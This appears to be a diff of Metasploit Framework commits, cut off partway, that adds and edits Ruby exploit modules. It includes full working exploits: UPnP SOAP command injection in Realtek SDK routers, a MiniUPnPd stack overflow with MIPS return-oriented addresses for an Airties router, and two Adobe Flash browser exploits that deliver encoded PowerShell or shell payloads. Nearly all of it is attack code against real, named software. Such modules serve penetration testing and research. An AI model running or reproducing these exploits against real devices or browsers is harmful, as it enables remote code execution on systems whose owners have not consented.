uri = '/HNAP1/'
|
||||
|
||||
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
|
||||
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'SOAPAction' => soap_action,
|
||||
}
|
||||
}, 3)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'MIPS Big Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
],
|
||||
],
|
||||
|
|
|
@ -0,0 +1,167 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include REXML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
|
||||
'Description' => %q{
|
||||
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
|
||||
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
|
||||
there is no output for the executed command. This module has been tested successfully on a
|
||||
Trendnet TEW-731BR router with emulation.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-8361'],
|
||||
['ZDI', '15-155'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 24 2015',
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'MIPS Little Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'MIPS Big Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(52869) # port of UPnP SOAP webinterface
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/picsdesc.xml'
|
||||
})
|
||||
if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the device ...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 50,
|
||||
:nodelete => true
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
uri = '/wanipcn.xml'
|
||||
soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
|
||||
data_cmd = '<?xml version="1.0"?>' + build_soap_req
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'service' => 'WANIPConn1'
|
||||
},
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'SOAPAction' => soap_action
|
||||
},
|
||||
'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
|
||||
def build_soap_req
|
||||
new_external_port = rand(32767) + 32768
|
||||
new_internal_port = rand(32767) + 32768
|
||||
|
||||
xml = Document.new
|
||||
|
||||
xml.add_element(
|
||||
'SOAP-ENV:Envelope',
|
||||
{
|
||||
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
|
||||
'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
|
||||
})
|
||||
|
||||
xml.root.add_element('SOAP-ENV:Body')
|
||||
|
||||
body = xml.root.elements[1]
|
||||
|
||||
body.add_element(
|
||||
'm:AddPortMapping',
|
||||
{
|
||||
'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
|
||||
})
|
||||
|
||||
port_mapping = body.elements[1]
|
||||
port_mapping.add_element('NewLeaseDuration')
|
||||
port_mapping.add_element('NewInternalClient')
|
||||
port_mapping.add_element('NewEnabled')
|
||||
port_mapping.add_element('NewExternalPort')
|
||||
port_mapping.add_element('NewRemoteHost')
|
||||
port_mapping.add_element('NewProtocol')
|
||||
port_mapping.add_element('NewInternalPort')
|
||||
|
||||
port_mapping.elements['NewLeaseDuration'].text = ''
|
||||
port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
|
||||
port_mapping.elements['NewEnabled'].text = '1'
|
||||
port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"
|
||||
port_mapping.elements['NewRemoteHost'].text = ''
|
||||
port_mapping.elements['NewProtocol'].text = 'TCP'
|
||||
port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"
|
||||
|
||||
xml.to_s
|
||||
end
|
||||
|
||||
end
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
]
|
||||
],
|
||||
|
|
|
@ -7,6 +7,8 @@ require 'msf/core'
|
|||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -19,20 +21,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'hdm', # Vulnerability discovery
|
||||
'Dejan Lukan' # Metasploit module
|
||||
'Dejan Lukan', # Metasploit module, debian target
|
||||
'Onur ALANBEL', # Expliot for Airties target
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'EXITFUNC' => 'process', },
|
||||
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
||||
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
||||
# of the program is never reached)
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2060,
|
||||
'BadChars' => "\x00\x22",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_MIPSBE],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0230' ],
|
||||
|
@ -40,14 +36,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'BID', '57608' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
|
||||
],
|
||||
'Targets' =>
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
|
||||
{
|
||||
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
|
||||
'Offset' => 2123
|
||||
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
|
||||
'Offset' => 2123,
|
||||
'Arch' => ARCH_X86,
|
||||
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
||||
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
||||
# of the program is never reached)
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2060,
|
||||
'BadChars' => "\x00\x22"
|
||||
},
|
||||
:callback => :target_debian
|
||||
}
|
||||
],
|
||||
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
|
||||
{
|
||||
'Offset' => 2048,
|
||||
'LibcBase' => 0x2aabd000,
|
||||
'System' => 0x00031AC0,
|
||||
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
|
||||
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
:callback => :target_airties
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
|
@ -57,9 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options([
|
||||
Opt::RPORT(5555),
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
fingerprints = targets.collect { |t| t['Fingerprint'] }
|
||||
fingerprints.delete(nil)
|
||||
|
||||
if res && fingerprints.include?(res.headers['Server'])
|
||||
vprint_status("Fingerprint: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless self.respond_to?(target[:callback])
|
||||
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
|
||||
end
|
||||
|
||||
self.send(target[:callback])
|
||||
end
|
||||
|
||||
def target_debian
|
||||
#
|
||||
# Build the SOAP Exploit
|
||||
#
|
||||
|
@ -108,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
# Build and send the HTTP request
|
||||
#
|
||||
print_status("Sending exploit to victim #{target.name} at ...")
|
||||
print_status("Sending exploit to victim #{target.name}...")
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/",
|
||||
|
@ -121,4 +173,53 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# disconnect from the server
|
||||
disconnect
|
||||
end
|
||||
|
||||
def target_airties
|
||||
print_status("Sending exploit to victim #{target.name}...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
# Build the SOAP Exploit
|
||||
# a valid action
|
||||
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
|
||||
sploit << rand_text_alpha_upper(target['Offset'])
|
||||
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
|
||||
sploit << rand_text_alpha_upper(24) # $s1 - $s6
|
||||
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
|
||||
# 0001CC94 addiu $a0, $sp, 0x18
|
||||
# 0001CC98 move $t9, $s0
|
||||
# 0001CC9C jalr $t9
|
||||
# 0001CCA0 li $a1, 1
|
||||
|
||||
sploit << rand_text_alpha_upper(24) #filler
|
||||
sploit << cmd
|
||||
|
||||
# data sent in the POST body
|
||||
data =
|
||||
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
|
||||
"<SOAP-ENV:Envelope\r\n" +
|
||||
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
|
||||
">\r\n" +
|
||||
"<SOAP-ENV:Body>\r\n" +
|
||||
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
|
||||
"</ns1:action>\r\n" +
|
||||
"</SOAP-ENV:Body>\r\n" +
|
||||
"</SOAP-ENV:Envelope>\r\n"
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => sploit,
|
||||
},
|
||||
'data' => data
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,168 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability in the NetConnection class on
|
||||
Adobe Flash Player. When using a correct memory layout this vulnerability allows
|
||||
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
|
||||
vectors, and finally accomplish remote code execution. This module has been tested
|
||||
successfully on:
|
||||
* Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305
|
||||
* Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and
|
||||
Adobe Flash 11.2.202.404.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
|
||||
'Unknown', # Exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0336'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
|
||||
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
|
||||
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
|
||||
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
|
||||
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => ['win', 'unix'],
|
||||
'Arch' => [ARCH_X86, ARCH_CMD],
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:arch => ARCH_X86,
|
||||
:os_name => lambda do |os|
|
||||
os =~ OperatingSystems::Match::LINUX ||
|
||||
os =~ OperatingSystems::Match::WINDOWS_7
|
||||
end,
|
||||
:ua_name => lambda do |ua|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ua == Msf::HttpClients::IE
|
||||
when 'Linux'
|
||||
return true if ua == Msf::HttpClients::FF
|
||||
end
|
||||
|
||||
false
|
||||
end,
|
||||
:flash => lambda do |ver|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305')
|
||||
when 'Linux'
|
||||
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 12 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
@trigger = create_trigger
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
|
||||
if target.name =~ /Windows/
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
platform_id = 'win'
|
||||
elsif target.name =~ /Linux/
|
||||
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
|
||||
b64_payload = Rex::Text.encode_base64(target_payload)
|
||||
platform_id = 'linux'
|
||||
end
|
||||
|
||||
trigger_hex_stream = @trigger.unpack('H*')[0]
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
def create_trigger
|
||||
if target.name =~ /Linux/
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf')
|
||||
else
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
|
||||
end
|
||||
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
end
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a use after free vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
|
||||
to uncompress() a malformed byte stream. This module has been tested successfully
|
||||
on:
|
||||
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.
|
||||
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'hdarwin', # Public exploit by @hdarwin89
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0311'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
|
||||
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
|
||||
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => ['win', 'unix'],
|
||||
'Arch' => [ARCH_X86, ARCH_CMD],
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:arch => ARCH_X86,
|
||||
:os_name => lambda do |os|
|
||||
os =~ OperatingSystems::Match::LINUX ||
|
||||
os =~ OperatingSystems::Match::WINDOWS_7
|
||||
end,
|
||||
:ua_name => lambda do |ua|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ua == Msf::HttpClients::IE
|
||||
when 'Linux'
|
||||
return true if ua == Msf::HttpClients::FF
|
||||
end
|
||||
|
||||
false
|
||||
end,
|
||||
:flash => lambda do |ver|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')
|
||||
when 'Linux'
|
||||
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 28 2014',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
|
||||
if target.name =~ /Windows/
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
platform_id = 'win'
|
||||
elsif target.name =~ /Linux/
|
||||
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
|
||||
b64_payload = Rex::Text.encode_base64(target_payload)
|
||||
platform_id = 'linux'
|
||||
end
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module exploits an arbitrary command execution vulnerability in
|
||||
Traq 2.0 to 2.3. It's in the admincp/common.php script.
|
||||
|
||||
This function is called in each script located into /admicp/ directory to
|
||||
make sure the user has admin rights, but this is a broken authorization
|
||||
schema due to the header() function doesn't stop the execution flow. This
|
||||
can be exploited by malicious users to execute admin functionality resulting
|
||||
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
|
||||
functionality.
|
||||
This function is called in each script located in the /admicp/ directory to
|
||||
make sure the user has admin rights. This is a broken authorization schema
|
||||
because the header() function doesn't stop the execution flow.
|
||||
This can be exploited by malicious users to execute admin functionality,
|
||||
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
|
||||
Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The
|
||||
vulnerability allows for arbitrary file upload and remote code execution.
|
||||
This module exploits an arbitrary PHP code upload vulnerability in the
|
||||
WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
|
||||
and prior. The vulnerability allows for arbitrary file upload and remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -19,8 +19,9 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
||||
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
|
||||
Windows 10, and there is no patch for Windows XP or older.
|
||||
The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
|
||||
Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
|
||||
only target Windows XP and Windows 7 box due to the Powershell limitation.
|
||||
|
||||
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
|
||||
newer Windows systems, the exploit will try using Powershell instead.
|
||||
|
@ -56,9 +57,9 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
}
|
||||
],
|
||||
[
|
||||
'Other Windows x86',
|
||||
'Windows 7',
|
||||
{
|
||||
'os_name' => OperatingSystems::Match::WINDOWS,
|
||||
'os_name' => OperatingSystems::Match::WINDOWS_7
|
||||
}
|
||||
]
|
||||
],
|
||||
|
@ -84,6 +85,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
|
||||
OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
|
||||
], self.class )
|
||||
|
||||
end
|
||||
|
@ -358,6 +360,11 @@ end function
|
|||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
|
||||
send_not_found(cli)
